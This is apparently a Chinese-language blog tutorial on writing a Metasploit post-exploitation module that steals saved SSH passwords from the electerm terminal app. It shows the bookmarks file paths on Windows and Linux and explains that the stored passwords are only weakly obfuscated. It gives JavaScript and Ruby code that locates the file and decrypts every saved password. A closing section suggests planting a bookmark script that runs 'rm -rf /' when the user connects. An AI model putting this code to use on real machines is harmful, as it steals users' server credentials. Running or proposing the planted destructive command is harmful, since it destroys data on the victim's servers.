编写metasploit模块提取electerm密码
编写metasploit模块提取electerm密码 https://github.com/electerm/electerm/blob/master/src/app/common/pass-enc.js 前言
配置文件


AppData\Roaming\electerm\users\default_user目录下的一个electerm.bookmarks.nedb文件,打开查看是json格式的文本,下面是格式化后的样例数据,但是里面的密码并不是我当时创建书签所填写的,可以发现是已经加密过的。{
"_id": "W7oqOeB",
"title": "",
"color": "#6a737d",
"host": "127.0.0.1:22",
"username": "root",
"authType": "password",
"password": "2468:<",
"port": 22,
"runScripts": [{}],
"encode": "utf-8",
"enableSsh": true,
"envLang": "en_US.UTF-8",
"term": "xterm-256color",
"displayRaw": false,
"sshTunnels": [],
"connectionHoppings": [],
"passwordEncrypted": true
}
操作系统 书签配置文件路径 window C:\Users\FireEye\AppData\Roaming\electerm\users\default_user\electerm.bookmarks.nedb linux,osx,unix /home/kali-team/.config/electerm/users/default_user/electerm.bookmarks.nedb 解密密码
2468:<密文做解密操作,将javascript直接复制到浏览器控制台回车就得到明文为:123456。"2468:<".split('').map((s, i) => {
return String.fromCharCode((s.charCodeAt(0) - i - 1 + 65536) % 65536)
}).join('')

# Decrypt password https://github.com/electerm/electerm/blob/master/src/app/common/pass-enc.js
def dec_electrm_password(enc)
result = enc.chars.map.with_index do |s, i|
((s.ord - i - 1 + 65536) % 65536).chr
end.join
return result
end
模块编写
def get_bookmarks_path
bookmarks_dir = ''
case session.platform
when 'windows'
app_data = get_env('AppData')
if app_data.present?
bookmarks_dir = app_data + '\Roaming\electerm\users\default_user'
end
when 'linux', 'osx', 'unix'
home = get_env('HOME')
if home.present?
bookmarks_dir = home + '/.config/electerm/users/default_user'
end
end
bookmarks_path = File.join(bookmarks_dir, 'electerm.bookmarks.nedb')
return bookmarks_path
end
def parse_jsonlines(line)
result_hashmap = Hash.new
begin
result_hashmap = JSON.parse(line)
rescue ::JSON::ParserError => e
raise Error::ParserError, "[parse_bookmarks] #{e.class} - #{e}"
end
if result_hashmap.key?("password")
if result_hashmap.key?("passwordEncrypted")
result_hashmap["password"]=dec_electrm_password(result_hashmap["password"])
end
end
return result_hashmap
end

其他攻击思路
{
"_id": "GVhcAD-",
"title": "evil script",
"runScripts": [{
"delay": 1,
"script": "echo kali-team"
}],
"color": "#e99695",
"description": "evil",
"type": "local",
"term": "xterm-256color",
"displayRaw": false
}
rm -rf /,你双击打开一台服务器,输入密码登录上服务器,过了1秒,自动将上面的恶意命令执行了,是不是可以提桶跑路了。
总结
参考